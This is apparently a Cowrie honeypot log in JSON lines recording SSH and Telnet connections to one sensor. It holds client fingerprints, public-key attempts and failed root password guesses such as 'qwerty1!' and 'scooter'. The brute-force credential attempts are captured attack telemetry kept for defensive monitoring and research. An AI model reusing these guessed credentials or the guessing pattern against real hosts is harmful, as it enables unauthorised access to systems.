{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:f4:b6:53:99:4d:3f:41:3c:a4:cf:66:cf:a0:8b:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG3Bnmb4Ij8yPUh4XzkP/t0D8lqYoH+4JwDS9S5x+LSeDh2aaOSoiE/acse6iyhbbybGLO5283ufxDIidyh22IM4urnQNyWvNwLsvdkyurDAi4JRHP39VFZsvose3f+G8Ielle+oqUwxA3GWx7qfvN20lb1fYR8lNbBvuEDkF73MdLblToqm+x3pL9W1zdUOS03S1xt4Fq0O7QVpqvhteN4+FWGfXS+QO7trE/ShzC9+enVa2QNno7jGkSeu6Ihceunj9P57kFAJ36E++7qbrAt7o2iUDO2T7v/y1r0SjdRBNoibWR7QdMvkrJKS2fG7Seb+pq1tHgRlbfGXdHuLer","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:f4:b6:53:99:4d:3f:41:3c:a4:cf:66:cf:a0:8b:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.824982Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:f4:b6:53:99:4d:3f:41:3c:a4:cf:66:cf:a0:8b:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDG3Bnmb4Ij8yPUh4XzkP/t0D8lqYoH+4JwDS9S5x+LSeDh2aaOSoiE/acse6iyhbbybGLO5283ufxDIidyh22IM4urnQNyWvNwLsvdkyurDAi4JRHP39VFZsvose3f+G8Ielle+oqUwxA3GWx7qfvN20lb1fYR8lNbBvuEDkF73MdLblToqm+x3pL9W1zdUOS03S1xt4Fq0O7QVpqvhteN4+FWGfXS+QO7trE/ShzC9+enVa2QNno7jGkSeu6Ihceunj9P57kFAJ36E++7qbrAt7o2iUDO2T7v/y1r0SjdRBNoibWR7QdMvkrJKS2fG7Seb+pq1tHgRlbfGXdHuLer","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.829913Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:c9:0e:b8:70:33:a5:72:ac:9b:bd:3b:ba:8d:7f:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmgNOMsQvdYzQ1uhe6hm6/OkX/pBBcGFbGP1ISVy+gsU5RGfi6MzR+pcpwMThgFd8OIPjU15e39PZakNFT+aNoFlK/GA6qdGMHXi8BU7qfr6kVLUyX1eNGQWfdLeKlZ3IbyelDGEPJlCEA3pxRi64YXWkxyjmfE3be/NxuGTtjM5lmhNG2In+VYCSH7DFOTb/gexwrtDmT9Qq7n/whSkvtfuqzDne6x6Shdt27c9nBVRSFkGCN3JE3mpKWBeJCjdQJ1Wd5s1EZlKxk+jCGoaAx+86hKL0T9shH4d83mE3vtL1cdrzSADyc0ULyCg9g907i/mLh/SJHPzwZarbqQbKFnhxnlLNuG/2moUpbrCAuVTpjdL9YfH1QDHTK6VKTf5bSaBp83oIDG7bJ9Kld223bS+XdG6zT/uUOxDooqhqvArfIU29v4bg02XycQXnX1h1nFIMko9CyjpB7Xm7O+9o6jpL8abtXzro16/F/FkwRU6nCwTyr6dw6JbAGXJ4Ssqc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:c9:0e:b8:70:33:a5:72:ac:9b:bd:3b:ba:8d:7f:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.958735Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:c9:0e:b8:70:33:a5:72:ac:9b:bd:3b:ba:8d:7f:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCmgNOMsQvdYzQ1uhe6hm6/OkX/pBBcGFbGP1ISVy+gsU5RGfi6MzR+pcpwMThgFd8OIPjU15e39PZakNFT+aNoFlK/GA6qdGMHXi8BU7qfr6kVLUyX1eNGQWfdLeKlZ3IbyelDGEPJlCEA3pxRi64YXWkxyjmfE3be/NxuGTtjM5lmhNG2In+VYCSH7DFOTb/gexwrtDmT9Qq7n/whSkvtfuqzDne6x6Shdt27c9nBVRSFkGCN3JE3mpKWBeJCjdQJ1Wd5s1EZlKxk+jCGoaAx+86hKL0T9shH4d83mE3vtL1cdrzSADyc0ULyCg9g907i/mLh/SJHPzwZarbqQbKFnhxnlLNuG/2moUpbrCAuVTpjdL9YfH1QDHTK6VKTf5bSaBp83oIDG7bJ9Kld223bS+XdG6zT/uUOxDooqhqvArfIU29v4bg02XycQXnX1h1nFIMko9CyjpB7Xm7O+9o6jpL8abtXzro16/F/FkwRU6nCwTyr6dw6JbAGXJ4Ssqc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.965707Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:dd:98:c0:7c:93:c7:65:30:95:d4:40:f8:04:39:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3VgTk49EqqTGCPhrRsOoxftMV39wT/6RPeRTZtydvt7jeZmTcA0Elk0OX6IbDUX0zgh3XQ0cz9OZnKvWIbT/ULQMipLhtW7vcUx0LJSJNUqkpQ/Pu2R+s2nor0qP84ssmPAa49DTDPDTlW/f3rib86DeGKUaKWyA7BMjMWl7psJWF8WkZSAlJoQ2V+EP+sUri2HapApT0a36AAF0pPpZyb7ogBXfn6zqU3LeWghq14wUmyRXbJT4dbjKIxFbgubomb8574YXocRH+lldeDmERgXDbpcldK5Tvko3Y5Zs6i9o2VeCrkJhr6kF9htY9JWzpBWN8Lx9G7VPC6UJHthoD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:dd:98:c0:7c:93:c7:65:30:95:d4:40:f8:04:39:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:20.097138Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:dd:98:c0:7c:93:c7:65:30:95:d4:40:f8:04:39:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3VgTk49EqqTGCPhrRsOoxftMV39wT/6RPeRTZtydvt7jeZmTcA0Elk0OX6IbDUX0zgh3XQ0cz9OZnKvWIbT/ULQMipLhtW7vcUx0LJSJNUqkpQ/Pu2R+s2nor0qP84ssmPAa49DTDPDTlW/f3rib86DeGKUaKWyA7BMjMWl7psJWF8WkZSAlJoQ2V+EP+sUri2HapApT0a36AAF0pPpZyb7ogBXfn6zqU3LeWghq14wUmyRXbJT4dbjKIxFbgubomb8574YXocRH+lldeDmERgXDbpcldK5Tvko3Y5Zs6i9o2VeCrkJhr6kF9htY9JWzpBWN8Lx9G7VPC6UJHthoD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:20.101335Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:20.238998Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.98167300224304,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:24.450837Z","src_ip":"192.119.13.58","session":"baa7828ab2e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.444385051727295,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:26.389798Z","src_ip":"192.119.13.58","session":"bcfcc2c2d3af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55742,"dst_ip":"10.17.0.5","dst_port":23,"session":"2208ad631607","protocol":"telnet","message":"New connection: 192.119.13.58:55742 (10.17.0.5:23) [session: 2208ad631607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:31.321493Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0e182f9e225","protocol":"telnet","message":"New connection: 192.119.13.58:36262 (10.17.0.5:23) [session: c0e182f9e225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:33.399101Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":44968,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ed9d5f1a72a","protocol":"ssh","message":"New connection: 43.153.104.156:44968 (10.17.0.5:22) [session: 0ed9d5f1a72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:34.843976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:34.861062Z","src_ip":"43.153.104.156","session":"0ed9d5f1a72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:34.929843Z","src_ip":"43.153.104.156","session":"0ed9d5f1a72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1!","message":"login attempt [root/qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:35.234430Z","src_ip":"43.153.104.156","session":"0ed9d5f1a72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":43334,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbefe5128a41","protocol":"ssh","message":"New connection: 103.15.222.183:43334 (159.203.135.109:22) [session: dbefe5128a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:35.868859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:35.874404Z","src_ip":"103.15.222.183","session":"dbefe5128a41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:36.118901Z","src_ip":"103.15.222.183","session":"dbefe5128a41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:36.306068Z","src_ip":"43.153.104.156","session":"0ed9d5f1a72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvf","message":"login attempt [root/vfvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:36.851133Z","src_ip":"103.15.222.183","session":"dbefe5128a41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:38.109531Z","src_ip":"103.15.222.183","session":"dbefe5128a41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":55378,"dst_ip":"159.203.135.109","dst_port":22,"session":"2296ed44c1ca","protocol":"ssh","message":"New connection: 43.135.129.144:55378 (159.203.135.109:22) [session: 2296ed44c1ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:38.136035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:38.147790Z","src_ip":"43.135.129.144","session":"2296ed44c1ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:38.217361Z","src_ip":"43.135.129.144","session":"2296ed44c1ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scooter","message":"login attempt [root/scooter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:38.526732Z","src_ip":"43.135.129.144","session":"2296ed44c1ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60396,"dst_ip":"10.17.0.5","dst_port":23,"session":"53123ca7904a","protocol":"telnet","message":"New connection: 192.119.13.58:60396 (10.17.0.5:23) [session: 53123ca7904a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:39.318870Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:39.599235Z","src_ip":"43.135.129.144","session":"2296ed44c1ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"583bc7f511e6","protocol":"telnet","message":"New connection: 192.119.13.58:59184 (10.17.0.5:23) [session: 583bc7f511e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:40.019883Z"}
{"eventid":"cowrie.session.closed","duration":36.279963970184326,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:40.454735Z","src_ip":"192.119.13.58","session":"e5f02743bd96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.751147508621216,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:41.995399Z","src_ip":"192.119.13.58","session":"74ff9bdbb0e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":41058,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cb2c67ae77a","protocol":"ssh","message":"New connection: 109.172.54.111:41058 (10.17.0.5:22) [session: 6cb2c67ae77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.119595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.134603Z","src_ip":"109.172.54.111","session":"6cb2c67ae77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.404878Z","src_ip":"109.172.54.111","session":"6cb2c67ae77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":59766,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ce614cdec82","protocol":"ssh","message":"New connection: 51.250.105.222:59766 (10.17.0.5:22) [session: 6ce614cdec82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.444893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.450204Z","src_ip":"51.250.105.222","session":"6ce614cdec82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.582999Z","src_ip":"51.250.105.222","session":"6ce614cdec82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxasqw","message":"login attempt [root/zxasqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.858090Z","src_ip":"109.172.54.111","session":"6cb2c67ae77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha","message":"login attempt [root/pasha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:42.978550Z","src_ip":"51.250.105.222","session":"6ce614cdec82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.52448534965515,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:43.523356Z","src_ip":"192.119.13.58","session":"8a0f1866ba4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:43.958637Z","src_ip":"109.172.54.111","session":"6cb2c67ae77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:44.114211Z","src_ip":"51.250.105.222","session":"6ce614cdec82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58674,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb650a76ef31","protocol":"telnet","message":"New connection: 192.119.13.58:58674 (10.17.0.5:23) [session: eb650a76ef31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:45.717344Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e3537d3312","protocol":"ssh","message":"New connection: 109.237.96.109:55516 (159.203.135.109:22) [session: 84e3537d3312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:49.930781Z"}
